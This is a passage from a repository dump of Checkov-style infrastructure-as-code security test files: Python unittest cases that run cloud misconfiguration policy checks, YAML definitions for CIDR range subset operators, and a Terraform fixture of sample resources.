self.go(\"GCPAuditLogsConfiguredForAllServicesAndUsers\")\n\n    def test_GCPKMSCryptoKeysAreNotPubliclyAccessible(self):\n        self.go(\"GCPKMSCryptoKeysAreNotPubliclyAccessible\")\n\n    def test_VirtualMachinesUtilizingManagedDisks(self):\n        self.go(\"VirtualMachinesUtilizingManagedDisks\")\n\n    def test_RDSClusterHasBackupPlan(self):\n        self.go(\"RDSClusterHasBackupPlan\")\n\n    def test_EBSAddedBackup(self):\n        self.go(\"EBSAddedBackup\")\n\n    def test_AMRClustersNotOpenToInternet(self):\n        self.go(\"AMRClustersNotOpenToInternet\")\n\n    def test_AutoScallingEnabledELB(self):\n        self.go(\"AutoScallingEnabledELB\")\n\n    def test_AutoScalingEnabledLB(self):\n        self.go(\"AutoScalingEnabledLB\")\n\n    def test_IAMGroupHasAtLeastOneUser(self):\n        self.go(\"IAMGroupHasAtLeastOneUser\")\n\n    def test_IAMUserHasNoConsoleAccess(self):\n        self.go(\"IAMUserHasNoConsoleAccess\")\n\n    def test_IAMUsersAreMembersAtLeastOneGroup(self):\n        self.go(\"IAMUsersAreMembersAtLeastOneGroup\")\n\n    def test_IAMPolicyNotAllowFullIAMAccess(self):\n        self.go(\"IAMPolicyNotAllowFullIAMAccess\")\n\n    def test_DataExplorerEncryptionUsesCustomKey(self):\n        self.go(\"DataExplorerEncryptionUsesCustomKey\")\n\n    def test_MSQLenablesCustomerManagedKey(self):\n        self.go(\"MSQLenablesCustomerManagedKey\")\n\n    def test_PGSQLenablesCustomerManagedKey(self):\n        self.go(\"PGSQLenablesCustomerManagedKey\")\n\n    def test_StorageLoggingIsEnabledForBlobService(self):\n        self.go(\"StorageLoggingIsEnabledForBlobService\")\n\n    def test_StorageLoggingIsEnabledForTableService(self):\n        self.go(\"StorageLoggingIsEnabledForTableService\")\n\n    def test_SynapseLogMonitoringEnabledForSQLPool(self):\n        self.go(\"SynapseLogMonitoringEnabledForSQLPool\")\n        \n    def test_SynapseSQLPoolHasSecurityAlertPolicy(self):\n        self.go(\"SynapseSQLPoolHasSecurityAlertPolicy\")\n\n    def test_SynapseSQLPoolHasVulnerabilityAssessment(self):\n        self.go(\"SynapseSQLPoolHasVulnerabilityAssessment\")\n\n    def test_SynapseWorkspaceHasExtendedAuditLogs(self):\n        self.go(\"SynapseWorkspaceHasExtendedAuditLogs\")\n\n    def test_VMHasBackUpMachine(self):\n        self.go(\"VMHasBackUpMachine\")\n\n    def test_SubnetHasACL(self):\n        self.go(\"SubnetHasACL\")\n\n    def test_GKEClustersAreNotUsingDefaultServiceAccount(self):\n        self.go(\"GKEClustersAreNotUsingDefaultServiceAccount\")\n\n    def test_AzureMSSQLServerHasSecurityAlertPolicy(self):\n        self.go(\"AzureMSSQLServerHasSecurityAlertPolicy\")\n\n    def test_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached(self):\n        self.go(\"AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached\")\n\n    def test_EncryptedEBSVolumeOnlyConnectedToEC2s(self):\n        self.go(\"EncryptedEBSVolumeOnlyConnectedToEC2s\")\n\n    def test_ServiceAccountHasGCPmanagedKey(self):\n        self.go(\"ServiceAccountHasGCPmanagedKey\")\n\n    def test_AutoScalingEnableOnDynamoDBTables(self):\n        self.go(\"AutoScalingEnableOnDynamoDBTables\")\n\n    def test_EIPAllocatedToVPCAttachedEC2(self):\n        self.go(\"EIPAllocatedToVPCAttachedEC2\")\n\n    def test_EFSAddedBackup(self):\n        self.go(\"EFSAddedBackup\")\n\n    def test_EFSAddedBackupSuppress(self):\n        self.go(\"EFSAddedBackupSuppress\", \"EFSAddedBackup\")\n\n    def test_Route53ARecordAttachedResource(self):\n        self.go(\"Route53ARecordAttachedResource\")\n\n    def test_RouteTablePublicSubnetConnection(self):\n        self.go(\"RouteTablePublicSubnetConnection\")\n\n    def test_PostgresRDSHasQueryLoggingEnabled(self):\n        self.go(\"PostgresRDSHasQueryLoggingEnabled\")\n\n    def test_HTTPNotSendingPasswords(self):\n        self.go(\"HTTPNotSendingPasswords\")\n\n    def test_PostgresDBHasQueryLoggingEnabled(self):\n        self.go(\"PostgresDBHasQueryLoggingEnabled\")\n\n    def test_ALBProtectedByWAF(self):\n        self.go(\"ALBProtectedByWAF\")\n\n    def test_APIProtectedByWAF(self):\n        self.go(\"APIProtectedByWAF\")\n\n    def test_SQLServerAuditingEnabled(self):\n        self.go(\"SQLServerAuditingEnabled\")\n\n    def test_WAF2HasLogs(self):\n        self.go(\"WAF2HasLogs\")\n\n    def test_AppSyncProtectedByWAF(self):\n        self.go(\"AppSyncProtectedByWAF\")\n\n    def test_SQLServerAuditingRetention90Days(self):\n        self.go(\"SQLServerAuditingRetention90Days\")\n\n    def test_AWSSSMParameterShouldBeEncrypted(self):\n        self.go(\"AWSSSMParametershouldbeEncrypted\", \"AWSSSMParameterShouldBeEncrypted\")\n\n    def test_AWSNATGatewaysshouldbeutilized(self):\n        self.go(\"AWSNATGatewaysshouldbeutilized\")\n\n    def test_GCPKMSKeyRingsAreNotPubliclyAccessible(self):\n        self.go(\"GCPKMSKeyRingsAreNotPubliclyAccessible\")\n\n    def test_GCPContainerRegistryReposAreNotPubliclyAccessible(self):\n        self.go(\"GCPContainerRegistryReposAreNotPubliclyAccessible\")\n\n    def test_GCPDialogFlowAgentLoggingEnabled(self):\n        self.go(\"GCPDialogFlowAgentLoggingEnabled\")\n\n    def test_GCPDialogFlowCxAgentLoggingEnabled(self):\n        self.go(\"GCPDialogFlowCxAgentLoggingEnabled\")\n\n    def test_GCPDialogFlowCxWebhookLoggingEnabled(self):\n        self.go(\"GCPDialogFlowCxWebhookLoggingEnabled\")\n\n    def test_GCPVertexAIPrivateEndpoint(self):\n        self.go(\"GCPVertexAIPrivateEndpoint\")\n\n    def test_GCPVertexAIPrivateIndexEndpoint(self):\n        self.go(\"GCPVertexAIPrivateIndexEndpoint\")\n\n    def test_GCPTpuV2VmPrivateEndpoint(self):\n        self.go(\"GCPTpuV2VmPrivateEndpoint\")\n\n    def test_GCPVertexRuntimePrivate(self):\n        self.go(\"GCPVertexRuntimePrivate\")\n\n    def test_GCPVertexRuntimeEncryptedWithCMK(self):\n        self.go(\"GCPVertexRuntimeEncryptedWithCMK\")\n\n    def test_S3BucketVersioning(self):\n        self.go(\"S3BucketVersioning\")\n\n    def test_S3PublicACLRead(self):\n        self.go(\"S3PublicACLRead\")\n\n    def test_S3PublicACLWrite(self):\n        self.go(\"S3PublicACLWrite\")\n\n    def test_S3BucketEncryption(self):\n        self.go(\"S3BucketEncryption\")\n\n    def test_S3BucketLogging(self):\n        self.go(\"S3BucketLogging\")\n\n    def test_AdministratorUserNotAssociatedWithAPIKey(self):\n        self.go(\"AdministratorUserNotAssociatedWithAPIKey\")\n\n    def test_ApplicationGatewayEnablesWAF(self):\n        self.go(\"ApplicationGatewayEnablesWAF\")\n\n    def test_S3KMSEncryptedByDefault(self):\n        self.go(\"S3KMSEncryptedByDefault\")\n\n    def test_GCPNetworkDoesNotUseDefaultFirewall(self):\n        self.go(\"GCPNetworkDoesNotUseDefaultFirewall\")\n\n    def test_S3BucketReplicationConfiguration(self):\n        self.go(\"S3BucketReplicationConfiguration\")\n\n    def test_AppLoadBalancerTLS12(self):\n        self.go(\"AppLoadBalancerTLS12\")\n\n    def test_GCPPostgreSQLDatabaseFlaglog_durationIsSetToON(self):\n        self.go(\"GCPPostgreSQLDatabaseFlaglog_durationIsSetToON\")\n\n    def test_GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF(self):\n        self.go(\"GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF\")\n\n    def test_GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF(self):\n        self.go(\"GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF\")\n\n    def test_GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF(self):\n        self.go(\"GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF\")\n\n    def test_GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF(self):\n        self.go(\"GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF\")\n\n    def test_GCPComputeFirewallOverlyPermissiveToAllTraffic(self):\n        self.go(\"GCPComputeFirewallOverlyPermissiveToAllTraffic\")\n\n    def test_AzureConfigMSSQLwithAD(self):\n        self.go(\"AzureConfigMSSQLwithAD\")\n\n    def test_AzurePostgreSQLFlexServerNotOverlyPermissive(self):\n        self.go(\"AzurePostgreSQLFlexServerNotOverlyPermissive\")\n\n    def test_GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled(self):\n        self.go(\"GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled\")\n\n    def test_GCPdisableAlphaClusterFeatureInKubernetesEngineClusters(self):\n        self.go(\"GCPdisableAlphaClusterFeatureInKubernetesEngineClusters\")\n\n    def test_AzureContainerInstanceconfigManagedIdentity(self):\n            self.go(\"AzureContainerInstanceconfigManagedIdentity\")\n\n    def test_AzureAKSclusterAzureCNIEnabled(self):\n        self.go(\"AzureAKSclusterAzureCNIEnabled\")\n\n    def test_AzureACR_HTTPSwebhook(self):\n        self.go(\"AzureACR_HTTPSwebhook\")\n\n    def test_AzureSubnetConfigWithNSG(self):\n        self.go(\"AzureSubnetConfigWithNSG\")\n\n    def test_AzureKeyVaultConfigPrivateEndpoint(self):\n        self.go(\"AzureKeyVaultConfigPrivateEndpoint\")\n\n    def test_AzureStorageAccConfigWithPrivateEndpoint(self):\n        self.go(\"AzureStorageAccConfigWithPrivateEndpoint\")\n\n    def test_OCI_K8EngineClusterBootVolConfigInTransitEncryption(self):\n            self.go(\"OCI_K8EngineClusterBootVolConfigInTransitEncryption\")\n\n    def test_OCI_K8EngineClusterPodSecPolicyEnforced(self):\n            self.go(\"OCI_K8EngineClusterPodSecPolicyEnforced\")\n\n    def test_OCI_KubernetesEngineClusterEndpointConfigWithNSG(self):\n            self.go(\"OCI_KubernetesEngineClusterEndpointConfigWithNSG\")\n\n    def test_OCI_NFSaccessRestrictedToRootUsers(self):\n            self.go(\"OCI_NFSaccessRestrictedToRootUsers\")\n\n    def test_OCI_NSGNotAllowRDP(self):\n            self.go(\"OCI_NSGNotAllowRDP\")\n\n    def test_AzureSQLserverNotOverlyPermissive(self):\n            self.go(\"AzureSQLserverNotOverlyPermissive\")\n\n    def test_AzureRecoveryServicesvaultConfigManagedIdentity(self):\n            self.go(\"AzureRecoveryServicesvaultConfigManagedIdentity\")\n\n    def test_AzureAutomationAccConfigManagedIdentity(self):\n            self.go(\"AzureAutomationAccConfigManagedIdentity\")\n\n    def test_AzureMariaDBserverUsingTLS_1_2(self):\n            self.go(\"AzureMariaDBserverUsingTLS_1_2\")\n   \n    def test_AzureMLWorkspaceWithPublicStorageAccount(self):\n            self.go(\"AzureMLWorkspaceHBIPublicNetwork\")\n\n    def test_AzureMLWorkspacePublicNetwork(self):\n            self.go(\"AzureMLWorkspacePublicNetwork\")\n\n    def test_AzureStorageAccountEnableSoftDelete(self):\n            self.go(\"AzureStorageAccountEnableSoftDelete\")\n\n    def test_AWSdisableS3ACL(self):\n        self.go(\"AWSdisableS3ACL\")\n\n    def test_AWS_private_MWAA_environment(self):\n        self.go(\"AWS_private_MWAA_environment\")\n\n    def test_AzureStorageAccConfigSharedKeyAuth(self):\n        self.go(\"AzureStorageAccConfigSharedKeyAuth\")\n\n    def test_AzureStorageAccConfig_SAS_expirePolicy(self):\n        self.go(\"AzureStorageAccConfig_SAS_expirePolicy\")\n\n    def test_AzureVMconfigPublicIP_SerialConsoleAccess(self):\n        self.go(\"AzureVMconfigPublicIP_SerialConsoleAccess\")\n\n    def test_AzurePostgreSQLserverConfigPrivEndpt(self):\n        self.go(\"AzurePostgreSQLserverConfigPrivEndpt\")\n\n    def test_AzureMariaDBserverConfigPrivEndpt(self):\n        self.go(\"AzureMariaDBserverConfigPrivEndpt\")\n\n    def test_AzureMySQLserverConfigPrivEndpt(self):\n        self.go(\"AzureMySQLserverConfigPrivEndpt\")\n\n    def test_AzureMSSQLserverConfigPrivEndpt(self):\n        self.go(\"AzureMSSQLserverConfigPrivEndpt\")\n\n    def test_AzureSynapseWorkspaceVAisEnabled(self):\n        self.go(\"AzureSynapseWorkspaceVAisEnabled\")\n\n    def test_IBM_LoadBalancerforVPCisPrivate(self):\n        self.go(\"IBM_LoadBalancerforVPCisPrivate\")\n\n    def test_IBM_VPCclassicAccessIsDisabled(self):\n        self.go(\"IBM_VPCclassicAccessIsDisabled\")\n\n    def test_SageMakerIAMPolicyOverlyPermissiveToAllTraffic(self):\n        self.go(\"SageMakerIAMPolicyOverlyPermissiveToAllTraffic\")\n\n    def test_IBM_RestrictServiceIDCreationInAccountSettings(self):\n        self.go(\"IBM_RestrictServiceIDCreationInAccountSettings\")\n\n    def test_IBM_EnableMFAatAccountLevel(self):\n        self.go(\"IBM_EnableMFAatAccountLevel\")\n\n    def test_IBM_RestrictAPIkeyCreationInAccountSettings(self):\n        self.go(\"IBM_RestrictAPIkeyCreationInAccountSettings\")\n\n    def test_IBM_K8sClustersAccessibleViaPrivateEndPt(self):\n        self.go(\"IBM_K8sClustersAccessibleViaPrivateEndPt\")\n\n    def test_RDSEncryptionInTransit(self):\n        self.go(\"RDSEncryptionInTransit\")\n\n    def test_ACMWildcardDomainName(self):\n        self.go(\"ACMWildcardDomainName\")\n\n    def test_CloudfrontOriginNotHTTPSOnly(self):\n        self.go(\"CloudfrontOriginNotHTTPSOnly\")\n\n    def test_SQSEncryptionCMK(self):\n        self.go(\"SQSEncryptionCMK\")\n\n    def test_LBTargetGroup(self):\n        self.go(\"LBTargetGroup\")\n\n    def test_AzureSpringCloudTLSDisabled(self):\n        self.go(\"AzureSpringCloudTLSDisabled\")\n\n    def test_GCPComputeRegionalForwardingRuleCheck(self):\n        self.go(\"GCPComputeRegionalForwardingRuleCheck\")\n\n    def test_GCPComputeGlobalForwardingRuleCheck(self):\n        self.go(\"GCPComputeGlobalForwardingRuleCheck\")\n\n    def test_AzureMySQLFlexibleServerConfigPrivEndpt(self):\n        self.go(\"AzureMySQLFlexibleServerConfigPrivEndpt\")\n\n    def test_AzurePostgreSQLFlexibleServerConfigPrivEndpt(self):\n        self.go(\"AzurePostgreSQLFlexibleServerConfigPrivEndpt\")\n\n    def test_OSSBucketPublic(self):\n        self.go(\"OSSBucketPublic\")\n\n    def test_Route53ZoneHasMatchingQueryLog(self):\n        self.go(\"Route53ZoneHasMatchingQueryLog\")\n\n    def test_ALBWebACLConfiguredWIthLog4jVulnerability(self):\n        self.go(\"ALBWebACLConfiguredWIthLog4jVulnerability\")\n\n    def test_APIGatewayWebACLConfiguredWIthLog4jVulnerability(self):\n        self.go(\"APIGatewayWebACLConfiguredWIthLog4jVulnerability\")\n\n    def test_AppsyncWebACLConfiguredWIthLog4jVulnerability(self):\n        self.go(\"AppsyncWebACLConfiguredWIthLog4jVulnerability\")\n\n    def test_Route53ZoneEnableDNSSECSigning(self):\n        self.go(\"Route53ZoneEnableDNSSECSigning\")\n\n    def test_LBWeakCiphers(self):\n        self.go(\"LBWeakCiphers\")\n\n    def test_LambdaOpenCorsPolicy(self):\n        self.go(\"LambdaOpenCorsPolicy\")\n\n    def test_registry_load(self):\n        registry = Registry(parser=GraphCheckParser(), checks_dir=str(\n            Path(__file__).parent.parent.parent.parent.parent / \"checkov\" / \"terraform\" / \"checks\" / \"graph_checks\"))\n        registry.load_checks()\n        self.assertGreater(len(registry.checks), 0)\n\n    def go(self, dir_name: str, check_name: str | None = None) -> None:\n        dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n                                f\"resources/{dir_name}\")\n        check_name = dir_name if check_name is None else check_name\n        assert os.path.exists(dir_path)\n        policy_dir_path = os.path.dirname(checks.__file__)\n        assert os.path.exists(policy_dir_path)\n        found = False\n        for root, d_names, f_names in os.walk(policy_dir_path):\n            for f_name in f_names:\n                if f_name == f\"{check_name}.yaml\":\n                    found = True\n                    policy = load_yaml_data(f_name, root)\n                    assert policy is not None\n                    expected = load_yaml_data(\"expected.yaml\", dir_path)\n                    assert expected is not None\n                    report = get_policy_results(dir_path, [policy['metadata']['id']])\n\n                    expected_to_fail = expected.get('fail', [])\n                    expected_to_pass = expected.get('pass', [])\n                    expected_to_skip = expected.get('skip', [])\n\n                    self.assert_entities(expected_to_pass, report.passed_checks, True)\n                    self.assert_entities(expected_to_fail, report.failed_checks, False)\n                    self.assert_entities(expected_to_skip, report.skipped_checks, True)\n\n        assert found\n\n    def assert_entities(self, expected_entities: list[str], results: list[CheckResult], assertion: bool) -> None:\n        self.assertEqual(len(expected_entities), len(results),\n                         f\"mismatch in number of results in {'passed' if assertion else 'failed'}, \"\n                         f\"expected: {len(expected_entities)}, got: {len(results)}\")\n        for expected_entity in expected_entities:\n            found = False\n            for check_result in results:\n                entity_id = check_result.resource\n                if entity_id == expected_entity:\n                    found = True\n                    break\n            self.assertTrue(found, f\"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}\")\n\n\ndef get_policy_results(root_folder: str, check_ids: list[str], external_registries=None):\n    graph_runner = Runner()\n    graph_runner.external_registries = external_registries if external_registries else []\n    report = graph_runner.run(root_folder, runner_filter=RunnerFilter(checks=check_ids))\n    return report\n\n\ndef wrap_policy(policy):\n    policy['query'] = policy['definition']\n    del policy['definition']\n\n\ndef load_yaml_data(source_file_name: str, dir_path: str) -> dict[str, Any] | None:\n    expected_path = os.path.join(dir_path, source_file_name)\n    if not os.path.exists(expected_path):\n        return None\n\n    with open(expected_path, \"r\") as f:\n        expected_data = yaml.safe_load(f)\n\n    return json.loads(json.dumps(expected_data))\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/CIDRRangeNotSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CIDRRangeNotSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"cidr_range_not_subset\"\n  value:\n    - \"10.0.0.0/8\"\n    - \"172.16.0.0/12\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/CIDRRangeNotSubsetString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CIDRRangeNotSubsetString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"cidr_range_not_subset\"\n  value:\n    - \"10.0.0.0/8\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/IPV6CIDRRangeNotSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"IPV6CIDRRangeNotSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"ipv6_cidr_value\"\n  operator: \"cidr_range_not_subset\"\n  value:\n    - \"fc00::/7\"\n    - \"fe80::1\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathCIDRRangeNotSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathCIDRRangeNotSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"jsonpath_cidr_range_not_subset\"\n  value:\n    - \"10.0.0.0/8\"\n    - \"172.16.0.0/12\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathCIDRRangeNotSubsetString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathCIDRRangeNotSubsetString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"jsonpath_cidr_range_not_subset\"\n  value:\n    - \"10.0.0.0/8\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathIPV6CIDRRangeNotSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathIPV6CIDRRangeNotSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"ipv6_cidr_value\"\n  operator: \"jsonpath_cidr_range_not_subset\"\n  value:\n    - \"fc00::/7\"\n    - \"fe80::1\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/resources/main.tf",
    "content": "resource \"test\" \"pass1\" {\n  cidr_value = \"10.11.10.12/32\"\n}\n\nresource \"test\" \"pass2\" {\n  cidr_value = 10.11.10.12/32\n}\n\nresource \"test\" \"pass3\" {\n  cidr_value = \"10.0.0.0/16\"\n}\n\nresource \"test\" \"pass4\" {\n  cidr_value = \"10.255.255.0/24\"\n}\n\nresource \"test\" \"fail1\" {\n  cidr_value = \"192.169.1.0/32\"\n}\n\nresource \"test\" \"fail2\" {\n  cidr_value = \"172.16.0.0/12\"\n}\n\nresource \"test\" \"fail3\" {\n  cidr_value = \"10.0.0.0/6\"\n}\n\nresource \"test\" \"ipv6_pass1\" {\n  ipv6_cidr_value = \"fd12:3456:789a::/48\"\n}\n\nresource \"test\" \"ipv6_pass2\" {\n  ipv6_cidr_value = \"fcab::/64\"\n}\n\nresource \"test\" \"ipv6_fail1\" {\n  ipv6_cidr_value = \"2001:db8::/32\"\n}\n\nresource \"test\" \"ipv6_fail2\" {\n  ipv6_cidr_value = \"2001:0db8:1234::/48\"\n}\n\nresource \"test\" \"ipv6_unknown1\" {\n  ipv6_cidr_value = \"foo\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestCIDRRangeNotSubsetSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestCIDRRangeNotSubsetSolver, self).setUp()\n\n    def test_cidr_range_not_subset_string_solver(self):\n        root_folder = 'resources'\n        check_id = \"CIDRRangeNotSubsetString\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_not_subset_string_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathCIDRRangeNotSubsetString\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_not_subset_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"CIDRRangeNotSubsetList\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_cidr_range_not_subset_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathCIDRRangeNotSubsetList\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_ipv6_cidr_range_not_subset_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"IPV6CIDRRangeNotSubsetList\"\n        should_fail = ['test.ipv6_pass1', 'test.ipv6_pass2']\n        should_pass = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4',\n                       'test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_ipv6_cidr_range_not_subset_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathIPV6CIDRRangeNotSubsetList\"\n        should_fail = ['test.ipv6_pass1', 'test.ipv6_pass2']\n        should_pass = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4',\n                       'test.fail1', 'test.fail2', 'test.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/CIDRRangeSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CIDRRangeSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"cidr_range_subset\"\n  value:\n    - \"10.0.0.0/8\"\n    - \"172.16.0.0/12\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/CIDRRangeSubsetString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CIDRRangeSubsetString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"cidr_range_subset\"\n  value:\n    - \"10.0.0.0/8\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/IPV6CIDRRangeSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"IPV6CIDRRangeSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"ipv6_cidr_value\"\n  operator: \"cidr_range_subset\"\n  value:\n    - \"fc00::/7\"\n    - \"fe80::1\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathCIDRRangeSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathCIDRRangeSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"jsonpath_cidr_range_subset\"\n  value:\n    - \"10.0.0.0/8\"\n    - \"172.16.0.0/12\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathCIDRRangeSubsetString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathCIDRRangeSubsetString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"cidr_value\"\n  operator: \"jsonpath_cidr_range_subset\"\n  value:\n    - \"10.0.0.0/8\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathIPV6CIDRRangeSubsetList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathIPV6CIDRRangeSubsetList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"ipv6_cidr_value\"\n  operator: \"jsonpath_cidr_range_subset\"\n  value:\n    - \"fc00::/7\"\n    - \"fe80::1\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/resources/main.tf",
